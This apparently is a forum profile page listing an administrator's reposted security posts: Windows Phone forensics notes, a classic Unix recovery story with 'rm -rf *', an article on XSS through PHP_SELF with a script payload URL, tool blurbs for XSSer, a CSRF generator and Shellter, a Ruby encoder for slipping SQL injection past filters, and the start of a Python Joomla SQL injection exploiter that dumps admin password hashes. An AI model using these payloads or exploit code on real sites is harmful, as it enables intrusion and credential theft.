Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. [h=3]Monkeying around with Windows Phone 8.0[/h] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Ah, the wonders of Windows Phone 8.0 ... Failing eyesight, Frustration and Squirrel chasing[/TD] [/TR] [/TABLE] Currently, there is not much freely available documentation on how Windows Phone 8.0 stores data so it is hoped that the information provided in this post can be used as a stepping stone for further research / possible scripting. Hopefully, analysts will also be able to use this post to help validate any future tool results. Special Thanks to Detective Cindy Murphy (@CindyMurph), Lieutenant Jennifer Krueger Favour (@rednogn) and the Madison Police Department ("Forensicate Like A Champion!") for providing the opportunity and encouragement for this research. Unfortunately, due to time contraints and a limited test data set, I wasn't able to write an all-singing/all-dancing script. Instead, some one-off scripts were created to extract/sort the relevant data a lot quicker than it would have taken to do manually. Rather than releasing scripts that are customized for a limited set of test data (which I don't have easy access to any more) - this post will be limited to documenting the data sources/structures. OK, so no free tool and you're still here reading huh? In Yoda voice: "The nerd runs strong in this one" Thanks to Maggie Gaffney from Massachusetts State Patrol / Teel Technologies, the initial test data (.bin file) was sourced via JTAG from a Nokia 520 Windows 8.0 phone - a "cheap" smart phone common to prepaid plans. The .bin file was then opened in X-Ways Forensics to parse the 28(!) file system partitions and to export out files of interest. The exported files were then viewed in hex view using Cellebrite Physical Analyzer (love the data interpretation and colour coded bookmarking!). Later, we were also able to get our paws on some test data from a HTC PM23300 Windows Phone 8.0 phone courtesy of JoAnn Gibb from the Ohio Attorney Generals Office. It's awesome knowing people that know people! Note: The Nokia 520 does not display the full SMS timestamp info (threaded messages display date only). So while we can potentially re-create the order of threaded messages as per the test phone, we can't easily validate the exact time an SMS message was sent/received. There's a good chance that other Windows Phone 8.0 phones will use the same timestamp mechanism and hopefully they will display the full timestamp. [h=3]So where's the data?![/h] The SMS content, MMS file attachment info and Contacts information are stored (via the 28th Partition) in: \Users\WPCOMMSSERVICES\APPDATA\Local\Unistore\store.vol Various .dat files containing MMS content are also stored in sub-directories of: \SharedData\Comms\Unistore\data The Call log is stored in: \Users\WPCOMMSSERVICES\APPDATA\Local\UserData\Phone The "store.vol" and "Phone" files seem to be ESE Databases (see explanantions here and here) with the magic number of "xEF xCD xAB x89" present at bytes 4-8. Consequently, we tried opening "store.vol" using Nirsoft's ESE Database viewer but had limited success - the SMS message texts were not viewable however other data was. This suggests that maybe the "store.vol" file differs in some way from the ESE specification and/or the tool had issues reading the file. Joachim Metz has also both documented (here and here) and written a C library "libesedb" to extract ESE databases. Unfortunately, I didn't discover Joachim's library until after we started poking around .. Anyway, it was a pretty masochistic interesting exercise trying to reverse engineer the "store.vol" file. One possible benefit of this data diving is that it *might* also reveal unallocated/partially overwritten data records that might be ignored by libraries which read the amount of data declared (vs reading all the data present). This is pure speculation though as I don't know if old records are overwritten or just marked as invalid. Viewing "store.vol" using Cellebrite Physical Analyzer, relevant data was observed for text strings (eg phone numbers, SMS text strings) encoded in UTF-16 LE throughout the file. As a database file there will be tables. Each table will have columns of values (eg time, text content, flags). A single (table row) record will thus have data stored for each column. Table data will be organized within the file somehow (eg multiple SMS records organized into page blocks). So it is likely that finding a hit for a specific SMS will lead you to the contents of other SMS messages (potentially around the same timeframe). The Nokia 520 was actually locked with a 4 digit PIN when we started investigating. Without access to the phone, any manual inspection/validation would have been impossible. It was unknown if the phone would have been wiped if too many incorrect PINs were entered. So any guesses would have to be documented and carefully chosen. It wasn't looking good ... until a combination of thinking outside the box and a touch of luck lead us to an SMS text message (in "store.vol") with the required 4 digit code. Open sesame! [h=3]Some things we tried with the data ...[/h] To find specific SMS records we searched for unique/known strings from the SMS text (eg "Look! A Squirrel!"). A single record was found per SMS in "store.vol" and each record also contained a UTF-16-LE string set to "SMStext". To find contact information, we searched for known phone number strings (eg +16085551234, 123456, 1234). Some numbers were observed in "store.vol" in close proximity to "SMStext" strings while other instances were located close to what appeared to be contact information (eg contact names). To search for field markers and flags, we compared separate SMS text records and looked for patterns/commonalities in the hex. Sometimes the pattern was obvious (eg "SMStext" occurs in each SMS message) and sometimes it wasn't so obvious (sometimes there is no discernible pattern!). Figuring out the timestamp format being used was HUGE. Without it, we could not have figured out the order messages were sent/received. Using Cellebrite Physical Analyzer to view the "store.vol" hex, Eagle-eyed Cindy noticed that there were 8 byte groupings occurring before/after the SMS text content. These 8 bytes were usually around the same value range (eg in LE xFF03D2315FE1C701). Which is what you'd expect within a single message. Subsequent messages usually had larger values - which corresponds to messages sent/received at a later time. Like most hex viewers, Cellebrite Physical Analyzer can interpret a predefined number of bytes from the current cursor position and print a human friendly version. Using this, Calculon Cindy showed an otherwise oblivious monkey that these 8 byte groupings could be interpreted as MS FILETIME timestamps! To be honest, I was expecting smaller 4 byte timestamps - Silly monkey! By comparing the 8 byte values surrounding a specific SMS text message (eg "Look! A Squirrel!") with the date displayed on the phone for that message, we theorized that our mysterious timestamps were *probably* MS FILETIME timestamps (No. of 100 ns increments since 1 January 1601 in UTC). For example, xFF03D2315FE1C701 = Sat, 18 August 2007 06:15:37 UTC. As the phone did not display the exact time for each SMS, we could only use the order of threaded messages and the date displayed to somewhat confirm our theory. Various SMS sent/received dates on the phone were spot checked against a corresponding "store.vol" entry timestamp date and the date values consistently matched. [h=3]What the data looks like[/h] After some hex ray vision induced cross-eyedness (who knew that looking at hex is almost like a curse!), we think we've figured out some general data structures for SMS, MMS, Contacts and Call log records. There's still some unknowns/grey areas but it's a start. - On the data structure diagrams below, "?" is used to denote varying/unknown number of bytes. - FILETIMEs are LE 8 byte integers representing the number of 100 ns intervals since 1 JAN 1601. - In general, strings are null terminated and UTF-16-LE encoded (ie 2 bytes per character). [h=4]Sent / Received SMS records[/h] There are two types of SMS data structures which are mixed together. Each type of SMS structure contains a UTF-16-LE encoded string for "SMStext". However, one type contains phone number strings and the other does not. For later ease of understanding, we'll say these "SMStext" records occur in "Area 1". Initially, monkey was confused about why some SMS records had phone numbers and some didn't. However, by inspecting the unlocked phone, we were able to confirm that the SMS message records with no number corresponded to sent SMS. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Sent "SMStext" record (from Area 1 in "store.vol") [/TD] [/TR] [/TABLE] Note 1: Note the lack of Phone number information. From test data, FILETIME values (in red and pink) seemed a little inconsistent. Sometimes FILETIMEs within the same record matched each other and other times they varied by seconds/minutes. Note 2: The Sent Text string (in yellow) is null terminated and encoded in UTF-16-LE. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Received "SMStext" record (from Area 1 in "store.vol")[/TD] [/TR] [/TABLE] Note 1: Received SMS have multiple source phone number strings listed (in orange). These seem to remain constant within a given record (eg PHONE1 = PHONE2 = PHONE3) Note 2: Similar to Sent "SMStext" records, the FILETIMEs (in red and pink) within a record might/might not vary. Note 3: The Received Text string (in yellow) is null terminated and encoded in UTF-16-LE. To find out the destination phone number for a sent SMS we can make use of the factoid observed by searching "store.vol" for the FILETIMEs from a specific Sent "SMStext" record. It appears that FILETIMEs 1, 3 & 4 (in pink) from a given Sent "SMStext" record usually occur once in the entire "store.vol". The FILETIME2 value (in red) however, also appears in a second area ("Area 2"). This area has a bunch of different looking data records each containing the null terminated UTF-16-LE encoded string for "SMS". Also contained in each data record is a phone number string. The "Area 2" SMS records look like: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]"SMS" record (from Area 2 in "store.vol")[/TD] [/TR] [/TABLE] Note 1: Each "SMS" record contains a UTF-16-LE encoded string for "SMS". Note 2: From both sets of test data, there seems to be a consistent number of bytes between: - The FILETIMEX (in red) and "SMS" string (in kermit green) and - The "SMS" string (in kermit green) and the Phone number string (in orange). So, each sent "SMStext" FILETIME2 value (from Area 1) should have a corresponding match with an "SMS" record's FILETIMEX value (in Area 2). In this way, we can match a sent "SMStext" message with the destination phone number via the FILETIME2 value. Sounds a little crazy right? But the test data seems to confirm this. Purrr! [h=4]Contacts[/h] Contact information is also located in "store.vol". There were 2 observed data structure types - both contained phone number and name information however, one data type had an extra 10 digit number string. It was later discovered via phone inspection that the records with the extra 10 digit strings corresponded with "Hotmail" address book entries. It would be interesting to see if the 10 digit number corresponded to a unique hotmail user ID of some kind. The second type of contacts structure was a "Phonebook" entry - presumably these contact types were entered into the phone by the user rather than slurped up from a Hotmail account. Common to both contact records were multiple occurrences of the same contact name and phone number. OCD phonebook, OCD phonebook, OCD phone book ... [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]"Hotmail" Contacts record (from "store.vol")[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]"Phonebook" Contacts record (from "store.vol")[/TD] [/TR] [/TABLE] Note 1: The flag value (in red) which can be used to determine if the contact record is a "Hotmail" or "Phonebook" entry. Note 2: The potential 6 byte magic number (0xFFFFFF2A2A00) for Contact records should make it easier to find each entry. This was discovered by Sharp-eyed Cindy on the last day (by which time monkey had lost the will to live). Note 3: The 10 digit string (in pink) could be a potential Hotmail ID. [h=4]MMS data[/h] Further research is required for MMS records (eg linking timestamps and phone numbers to sent files). But here's what we've learned so far ... Various .dat files containing MMS content (eg there was a .dat file containing a sent JPEG and another .dat file containing the accompanying text) are stored in: \SharedData\Comms\Unistore\data under 3 sub-directories: "0", "2" and "7". These folders might correspond to Sent, Received and Draft??? There were multiple .dat files with similar names each seemingly containing info for different parts of the same MMS. In "store.vol", there are records containing the UTF-16-LE encoded string for "MMS". These records also contain 3 filename strings and a filetype string (possibly the MIME type eg "image/jpeg"). From my jet-lagged memory, I want to say that the filename strings were pointing to the same filename and there were multiple "MMS" entries for a single MMS message (ie each MMS message has three separate files associated with it). But you should probably should check it out for yourself ... [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]MMS record (from "store.vol")[/TD] [/TR] [/TABLE] [h=4]Call log[/h] The Call log information is located in the "Phone" file. Each Call log record contains a flag (in blue) to mark whether a call record is Missed / Incoming / Outgoing. The flag values were confirmed via inspection of the phone and corresponding Call log record. There's also Start and Stop FILETIMEs, repeated contact names and repeated phone numbers. Of potential interest is a 10 digit ASCII encoded string (in grey) and what looks to be a GUID (in light purple). Each call record had the same GUID string value enclosed by "{}". Perhaps this GUID represents the phone device or the calling application??? I wonder if it would be consistent between different model phones... [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Call log record (from "Phone")[/TD] [/TR] [/TABLE] [h=3]Summary[/h] So there you have it - we started off knowing very little about Windows Phone 8.0 data storage and now we know a considerable amount more especially regarding SMS records. Due to time constraints, it was not possible to investigate the non-SMS related data areas (ie MMS, Call log, Contacts) with the same level of detail. However, it's probably better to share what we've discovered now as I don't know when I'll be able to perform further research. The observations in this post may not be consistent for Windows 8.1 and/or on other models of Windows phones but hopefully this post can still serve as a starting point. As always, check that the underlying data matches your expectations! It was really awesome having someone else to bounce ideas off when hex-diving. I'm pretty sure I would have missed some important details (eg the FILETIME timestamp) had it not been for another set of eyes. Of course, that's not always going to be possible so I also appreciated the other opportunities to work automonously / with minimal supervision. Someday monkey might have to do this on his lonesome! Initially, it was easy to tie my idea of success with the "I have to code a solution for every scenario/data set". It would have been awesome if I could have done that but the fact was - we didn't have any SMS messages from "store.vol" at the start and after running the one-off SMS script, we had 5000+ messages sorted in chronological order with their associated phone numbers. Success doesn't have to be black and white. It sounds cliche but focusing on little wins each day made it easier to start eating the metaphorical elephant. Now please excuse me, while I adjust my pants ... Posted by Cheeky4n6Monkey at 14:35 Sursa: Cheeky4n6Monkey - Learning About Digital Forensics: Monkeying around with Windows Phone 8.0
  2. Shellter v1.0 Index ======= [1] What is it? [2] How does it work? [3] What does it trace? [4] Why do I need Shellter? [5] What types of apps can I use? [6] Can I use encoded/self-decrypting payloads? [7] What about self-modifying code? [8] What about relocations? [9] What about Multi-Thread Applications? [10] what about Anti-Reversing tricks? [11] What if the target process dies during tracing? [12] What if an internal engine related error occurs? [13] How do execution flow filters work? [14] How much time does it need for tracing and log filtering? [15] What options does Shellter provide? [16] System Requirements [17] What should I do if I want to send feedback? [18] What should I do if I want to report a bug? [19] What should I do if I don't like it? Readme: https://www.shellterproject.com/Downloads/Shellter/Readme.txt Sursa: https://www.shellterproject.com/download/
  3. [h=1]OHM2013: RAM Memory acquisition using live-BIOS modification[/h]
  4. *THE* classic Unix horror story Tue, 01/31/2006 - 10:11am — binford2k Try this in windows! Unix Recovery Legend This classic article from Mario Wolczko first appeared on Usenet in 1986. Have you ever left your terminal logged in, only to find when you came back to it that a (supposed) friend had typed "rm -rf ~/*" and was hovering over the keyboard with threats along the lines of "lend me a fiver 'til Thursday, or I hit return"? Undoubtedly the person in question would not have had the nerve to inflict such a trauma upon you, and was doing it in jest. So you've probably never experienced the worst of such disasters.... It was a quiet Wednesday afternoon. Wednesday, 1st October, 15:15 BST, to be precise, when Peter, an office-mate of mine, leaned away from his terminal and said to me, "Mario, I'm having a little trouble sending mail." Knowing that msg was capable of confusing even the most capable of people, I sauntered over to his terminal to see what was wrong. A strange error message of the form (I forget the exact details) "cannot access /foo/bar for userid 147" had been issued by msg. My first thought was "Who's userid 147?; the sender of the message, the destination, or what?" So I leant over to another terminal, already logged in, and typed grep 147 /etc/passwd only to receive the response /etc/passwd: No such file or directory. Instantly, I guessed that something was amiss. This was confirmed when in response to ls /etc I got ls: not found. I suggested to Peter that it would be a good idea not to try anything for a while, and went off to find our system manager. When I arrived at his office, his door was ajar, and within ten seconds I realised what the problem was. James, our manager, was sat down, head in hands, hands between knees, as one whose world has just come to an end. Our newly-appointed system programmer, Neil, was beside him, gazing listlessly at the screen of his terminal. And at the top of the screen I spied the following lines: # cd # rm -rf * Oh, shit, I thought. That would just about explain it. I can't remember what happened in the succeeding minutes; my memory is just a blur. I do remember trying ls (again), ps, who and maybe a few other commands beside, all to no avail. The next thing I remember was being at my terminal again (a multi-window graphics terminal), and typing cd / echo * I owe a debt of thanks to David Korn for making echo a built-in of his shell; needless to say, /bin, together with /bin/echo, had been deleted. What transpired in the next few minutes was that /dev, /etc and /lib had also gone in their entirety; fortunately Neil had interrupted rm while it was somewhere down below /news, and /tmp, /usr and /users were all untouched. Meanwhile James had made for our tape cupboard and had retrieved what claimed to be a dump tape of the root filesystem, taken four weeks earlier. The pressing question was, "How do we recover the contents of the tape?". Not only had we lost /etc/restore, but all of the device entries for the tape deck had vanished. And where does mknod live? You guessed it, /etc. How about recovery across Ethernet of any of this from another VAX? Well, /bin/tar had gone, and thoughtfully the Berkeley people had put rcp in /bin in the 4.3 distribution. What's more, none of the Ether stuff wanted to know[work?] without /etc/hosts at least. We found a version of cpio in /usr/local, but that was unlikely to do us any good without a tape deck. Alternatively, we could get the boot tape out and rebuild the root filesystem, but neither James nor Neil had done that before, and we weren't sure that the first thing to happen would be that the whole disk would be re-formatted, losing all our user files. (We take dumps of the user files every Thursday; by Murphy's Law this had to happen on a Wednesday). Another solution might be to borrow a disk from another VAX, boot off that, and tidy up later, but that would have entailed calling the DEC engineer out, at the very least. We had a number of users in the final throes of writing up PhD theses and the loss of a maybe a weeks' work (not to mention the machine down time) was unthinkable. So, what to do? The next idea was to write a program to make a device descriptor for the tape deck, but we all know where cc, as and ld live. Or maybe make skeletal entries for /etc/passwd, /etc/hosts and so on, so that /usr/bin/ftp would work. By sheer luck, I had a gnuemacs still running in one of my windows, which we could use to create passwd, etc., but the first step was to create a directory to put them in. Of course /bin/mkdir had gone, and so had /bin/mv, so we couldn't rename /tmp to /etc. However, this looked like a reasonable line of attack. By now we had been joined by Alasdair, our resident UNIX guru, and as luck would have it, someone who knows VAX assembler. So our plan became this: write a program in assembler which would either rename /tmp to /etc, or make /etc, assemble it on another VAX, uuencode it, type in the uuencoded file using my gnu, uudecode it (some bright spark had thought to put uudecode in /usr/bin), run it, and hey presto, it would all be plain sailing from there. By yet another miracle of good fortune, the terminal from which the damage had been done was still su'd to root (su is in /bin, remember?), so at least we stood a chance of all this working. Off we set on our merry way, and within only an hour we had managed to concoct the dozen or so lines of assembler to create /etc. The stripped binary was only 76 bytes long, so we converted it to hex (slightly more readable than the output of uuencode), and typed it in using my editor. If any of you ever have the same problem, here's the hex for future reference: 070100002c000000000000000000000000000000000000000000000000000000 0000dd8fff010000dd8f27000000fb02ef07000000fb01ef070000000000bc8f 8800040000bc012f65746300 I had a handy program around (doesn't everybody?) for converting ASCII hex to binary, and the output of /usr/bin/sum tallied with our original binary. But hang on---how do you set execute permission without /bin/chmod? A few seconds thought (which as usual, lasted a couple of minutes) suggested that we write the binary on top of an already existing binary, owned by me...problem solved. So along we trotted to the terminal with the root login, carefully remembered to set the umask to 0 (so that I could create files in it using my gnu), and ran the binary. So now we had a /etc, writable by all. From there it was but a few easy steps to creating passwd, hosts, services, protocols, (etc), and then ftp was willing to play ball. Then we recovered the contents of /bin across the ether (it's amazing how much you come to miss ls after just a few, short hours), and selected files from /etc. The key file was /etc/rrestore, with which we recovered /dev from the dump tape, and the rest is history. Now, you're asking yourself (as I am), what's the moral of this story? Well, for one thing, you must always remember the immortal words, DON'T PANIC. Our initial reaction was to reboot the machine and try everything as single user, but it's unlikely it would have come up without /etc/init and /bin/sh. Rational thought saved us from this one. The next thing to remember is that UNIX tools really can be put to unusual purposes. Even without my gnuemacs, we could have survived by using, say, /usr/bin/grep as a substitute for /bin/cat. And the final thing is, it's amazing how much of the system you can delete without it falling apart completely. Apart from the fact that nobody could login (/bin/login?), and most of the useful commands had gone, everything else seemed normal. Of course, some things can't stand life without say /etc/termcap, or /dev/kmem, or /etc/utmp, but by and large it all hangs together. I shall leave you with this question: if you were placed in the same situation, and had the presence of mind that always comes with hindsight, could you have got out of it in a simpler or easier way? Answers on a postage stamp to: Mario Wolczko ------------------------------------------------------------------------ Dept. of Computer Science ARPA: miw%uk.ac.man.cs.ux@cs.ucl.ac.uk The University USENET: mcvax!ukc!man.cs.ux!miw Manchester M13 9PL JANET: miw@uk.ac.man.cs.ux U.K. 061-273 7121 x 5699 ------------------------------------------------------------------------ Hacker's Wisdom: Unix RecoveryLegend Last modified: Thu Mar 7 13:47:40 EST 1996 http://www.ee.ryerson.ca:8080/~elf/hack/recovery.htmlSursa: *THE* classic Unix horror story | WSU Linux Users Group
  5. Acceptabil
  6. Fuck http://127.0.0.1/test.php/"><script>alert(1)</script>
  7. Update: Lege pentru de?in?torii cartelelor prepay. Ace?tia ar putea fi obliga?i s?-?i declare datele personale - Reporter NTV - Stiri Constanta
  8. [h=2]A XSS Vulnerability in Almost Every PHP Form I’ve Ever Written[/h] I've spent a lot of time over the past few months writing an enterprise application in PHP. Despite what some people may say, I believe that PHP is as secure or insecure as the developer who is writing the code. Anyway, I'm at the point in my development lifecycle where I decided that it was ready to run an application vulnerability scanner against it. What I found was interesting and I think it's worth sharing with you all. Let me preface this by saying that I'm the guy who gives the training to our developers on the OWASP Top 10, writing secure code, etc. I'd like to think that I have a pretty good handle on programming best practices, input validation, and HTML encoding. I built all kinds of validation into this application and thought that the vulnerability scan would come up empty. For the most part I was right, but there was one vulnerability, one flaw in particular, that found it's way into every form in my application. In fact, I realized that I've made this exact same mistake in almost every PHP form that I've ever written. Talk about a humbling experience. So here's what happened. I created a simple page with a form where the results of that form are submitted back to the page itself for processing. Let's assume it looks something like this: <html> <body> <?php if (isset($_REQUEST['submitted']) && $_REQUEST['submitted'] == '1') { echo "Form submitted!"; } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>"> <input type="hidden" name="submitted" value="1" /> <input type="submit" value="Submit!" /> </form> </body> </html> It looks fairly straightforward, right? The problem has to do with that $_SERVER['PHP_SELF'] variable. The intent here is that PHP will display the path and name of the current page so that the form knows to submit back to the same page. The problem is that $_SERVER['PHP_SELF'] can actually be manipulated by the user. Let's say as the user I change the URL from http://www.webadminblog.com/example.php to http://www.webadminblog.com/example.php"><script>alert('xss');</script> This will end the form action part of the code and inject a javascript alert into the page. This is the very definition of cross site scripting. I can't believe that with as long as I've been writing in PHP and as long as I've been studying application security, I've never realized this. Fortunately, there are a couple of different ways to fix this. First, you could use the HTML entities or HTML special character functions to sanitize the user input like this: htmlentities($_SERVER['PHP_SELF]); htmlspecialchars($_SERVER['PHP_SELF]); This fix would still allow the user to manipulate the URL, and thus, what is displayed on the page, but it would render the javascript invalid. The second way to fix this is to use the script name variable instead like this: $_SERVER['SCRIPT_NAME']; This fix would just echo the full path and filename of the current file. Yes, there are other ways to fix this. Yes, my code example above for the XSS exploit doesn't do anything other than display a javascript alert. I just wanted to draw attention to this issue because if it's found it's way into my code, then perhaps it's found it's way into yours as well. Happy coding! Sursa: A XSS Vulnerability in Almost Every PHP Form I’ve Ever Written | Web Admin Blog Nota: Nu pare sa mearga din motive evicente: The requested URL /test.php"><script>alert(1)</script> was not found on this server. Voua va merge?
  9. Dam tag: @jetu ? PS: Acele linii de cod "inutile" sunt probabil utile pentru ca executabilul sa fie FUD.
  10. [h=2]BlindElephant Web Application Fingerprinter[/h] The BlindElephant Web Application Fingerprinter attempts to discover the version of a (known) web application by comparing static files at known locations against precomputed hashes for versions of those files in all all available releases. The technique is fast, low-bandwidth, non-invasive, generic, and highly automatable. Sourceforge Project Page: https://sourceforge.net/projects/blindelephant/ Discussion and Forums: http://www.qualys.com/blindelephant License: LGPL [h=3]Getting Started[/h] BlindElephant can be used directly as a tool on the command line, or as a library to provide fingerprinting functionality to another program. [h=4]Pre-requisites:[/h] Python 2.6.x (prefer 2.6.5); users of earlier versions may have difficulty installing or running BlindElephant. [h=4]Get the code:[/h] Browse SVN Checkout via SVN:svn co https://blindelephant.svn.sourceforge.net/svnroot/blindelephant/trunk blindelephant Download: BlindElephant Web Application Fingerprinter
  11. [h=1]Introduction[/h] Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications. It contains several options to try to bypass certain filters, and various special techniques of code injection. [h=1]Current version[/h] [TABLE] [TR] [TD]XSSer v1.6b ("The Mosquito: Grey Swarm!"). +Click for Zoom Download original source code: XSSer v1.6 -beta- Ubuntu/Debian package: XSSer-1.6_all.deb ArchLinux package: AUR link (v1.6b) Gentoo package: XSSer Gentoo ebuild (v1.6b) RPM package: XSSer-1.6-1.noarch.rpm Or update your copy directly from the XSSer -Subversion- repository: $ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser This version include more features on the GTK+ interface: [/TD] [/TR] [TR] [TD] [TABLE] [TR] [TD] +Click for Zoom [/TD] [TD] +Click for Zoom [/TD] [/TR] [TR] [TD] +Click for Zoom [/TD] [TD] +Click for Zoom [/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] TIP: type: 'xsser --gtk' to start from shell. Or run directly XSSer from menu Download: XSSer: automatic tool for pentesting XSS attacks against different applications
  12. pinata-csrf-tool Pinata is a Python Script that will generate Proof of Concept CSRF HTML from HTTP request. [h=2]Overview:[/h]-WARNING - THIS IS NOT A POINT AND CLICK TOOL. YOU SHOULD KNOW WHAT YOU ARE DOING TO USE THIS TOOL. - The tool will generate proof of concept CSRF HTML given an HTTP request. It will automatically check whether it is a GET or a POST request and with further validation for standard POST and Multipart/form POST. - The tool will then create an HTML corresponding to the type of the request. - The GET CSRF HTML includes IMG tag with SRC set to the URL being tested. - The POST CSRF HTML is created with auto submit java script form with names and values from the HTTP request. Download: https://code.google.com/p/pinata-csrf-tool/
  13. # Ruby Script to generate URL encoded Unicode UTF-8 URL. # Author: Gary O'leary-Steele of Sec-1 Ltd # Example: # The string ' or 1 in (@@version)-- is encoded as and work for the same SQL injection attack # %u02b9%u0020%uff4f%uff52%u0020%uff11%u0020%uff49%uff4e%u0020%uff08%u0040%u0040%uff56%uff45%uff52%uff53%uff49%uff4f%uff4e%uff09%uff0d%uff0d # Ruby Script to generate URL encoded Unicode UTF-8 URL. # Author: Gary O'leary-Steele of Sec-1 Ltd # Example: # The string ' or 1 in (@@version)-- is encoded as and work for the same SQL injection attack # %u02b9%u0020%uff4f%uff52%u0020%uff11%u0020%uff49%uff4e%u0020%uff08%u0040%u0040%uff56%uff45%uff52%uff53%uff49%uff4f%uff4e%uff09%uff0d%uff0d # # require 'uri' def unicode_url(string) lookuptable = Hash.new lookuptable ={ ' ' => '%u0020', '/' => '%u2215', '\\' => '%u2215', "'" => '%u02b9', '"' => '%u0022', '>' => '%u003e', '<' => '%u003c', '#' => '%uff03', '!' => '%uff01', '$' => '%uff04', '*' => '%uff0a', '@' => '%u0040', '.' => '%uff0e', '_' => '%uff3f', '(' => '%uff08', ')' => '%uff09', ',' => '%uff0c', '%' => '%u0025', '-' => '%uff0d', ';' => '%uff1b', ':' => '%uff1a', '|' => '%uff5c', '&' => '%uff06', '+' => '%uff0b', '=' => '%uff1d', 'a' => '%uff41', 'A' => '%uff21', 'b' => '%uff42', 'B' => '%uff22', 'c' => '%uff43', 'C' => '%uff23', 'd' => '%uff44', 'D' => '%uff24', 'e' => '%uff45', 'E' => '%uff25', 'f' => '%uff46', 'F' => '%uff26', 'g' => '%uff47', 'G' => '%uff27', 'h' => '%uff48', 'H' => '%uff28', 'i' => '%uff49', 'I' => '%uff29', 'j' => '%uff4a', 'J' => '%uff2a', 'k' => '%uff4b', 'K' => '%uff2b', 'l' => '%uff4c', 'L' => '%uff2c', 'm' => '%uff4d', 'M' => '%uff2d', 'n' => '%uff4e', 'N' => '%uff2e', 'o' => '%uff4f', 'O' => '%uff2f', 'p' => '%uff50', 'P' => '%uff30', 'q' => '%uff51', 'Q' => '%uff31', 'r' => '%uff52', 'R' => '%uff32', 's' => '%uff53', 'S' => '%uff33', 't' => '%uff54', 'T' => '%uff34', 'u' => '%uff55', 'U' => '%uff35', 'v' => '%uff56', 'V' => '%uff36', 'w' => '%uff57', 'W' => '%uff37', 'x' => '%uff58', 'X' => '%uff38', 'y' => '%uff59', 'Y' => '%uff39', 'z' => '%uff5a', 'Z' => '%uff3a', '0' => '%uff10', '1' => '%uff11', '2' => '%uff12', '3' => '%uff13', '4' => '%uff14', '5' => '%uff15', '6' => '%uff16', '7' => '%uff17', '8' => '%uff18', '9' => '%uff19'} # Convert string to array of chars chararray = string.scan(/./) newstr = String.new chararray.each do |c| if lookuptable.has_key? c newstr = newstr + lookuptable[c] else newstr = newstr + URI.escape(c) end end return newstr end print "Enter string to URL Unicode:" puts unicode_url(gets) Download: unicode-fun.txt ? Packet Storm
  14. Joomla SQL Injection Exploiter # Features: #- Check if URL is reachable #- Fuzz amount of columns (needed for UNION SELECT attack) #- Show a sample exploitation URL for pasting into the browser #- Showing the Joomla users from the table jos_users (with password hashes) #- Display current database, db user and db version # The Automated Joomla SQL Injection Exploiter is able to # exploit most of the SQL injection vulnerabilities which were ever # fdiscovered for Joomla or it's components, modules and plugins. # Simply hand over a vulnerable URL to this tool and receive the # admin login data of the vulnerable Joomla installation. #!/usr/bin/python# Automated Joomla SQL Injection Exploiter # by Valentin Hoebel (valentin@xenuser.org) # Version 1.0 (23th May 2010) # # This tool is based on my column fuzzer # ASCII FOR BREAKFAST # # # About the tool # ---------------------------------------------------------------------------------- # Features: #- Check if URL is reachable #- Fuzz amount of columns (needed for UNION SELECT attack) #- Show a sample exploitation URL for pasting into the browser #- Showing the Joomla users from the table jos_users (with password hashes) #- Display current database, db user and db version # The Automated Joomla SQL Injection Exploiter is able to # exploit most of the SQL injection vulnerabilities which were ever # fdiscovered for Joomla or it's components, modules and plugins. # Simply hand over a vulnerable URL to this tool and receive the # admin login data of the vulnerable Joomla installation. # # With this tool it is no longer necessary to write new exploits for new # Joomla (components/modules/plugins) vulnerabilities! # Usage example: # python joomla_sqli_sploiter.py - u "http://target/index.php?option=com_component?id=1" # The tool tries to exploit SQL injection vulnerabilities by using UNION SELECT. Therefore # it is necessary to fuzz the number of columns. # If this is successfull, the tool crafts a SQL injection URL for reading out the Joomla user table. # # Since most of the stuff is dynamic this tool can be enhanced easely to do also other things. # Feel free to use, modify, distribute and share this code as you like! Power to teh cows! # This tool war written for educational purposes only. I am not responsible for any damage # you might cause using this tool. Know and respect your local laws! # Only use this tool on websites you are allowed to test # Greetz && THX # ---------------------------------------------------------------------------------- # Special greetings to cr4wl3r (you know why !) # Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn (especially to /JosS) and the Packet Storm staff! # Thanks osvdb staff + moderators for your daily work! There are many people who appreciate what you are doing! # # Power to the cows! import sys, re, urllib, urllib2, string from urllib2 import Request, urlopen, URLError, HTTPError # Define the max. amounts for trying max_columns = 100 # Prints usage def print_usage(): print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" print " Automated Joomla SQL Injection Exploiter 1.0 (23th May 2010)" print " by Valentin Hoebel (valentin@xenuser.org)" print "" print " Exploits almost every SQL injection vulnerability which was ever discovered" print " for Joomla and it's components/modules/plugins. It works also for feature(new)" print " vulnerabilities, so no new exploits are needed!" print "" print " Simply give this tool the vulnerable URL and receive the Joomla user table!" print "" print " Usage:" print " -u <URL> (e.g. -u \"http://target/index.php?option=com_vulnerable&katid=1\")" print " --help (displays this text)" print "" print "" print " Features:" print " - Check if URL is reachable" print " - Fuzz amount of columns (needed for UNION SELECT attack)" print " - Show a sample exploitation URL for pasting into the browser" print " - Showing the Joomla users from the table jos_users (with password hashes)" print " - Display current database, db user and db version" print 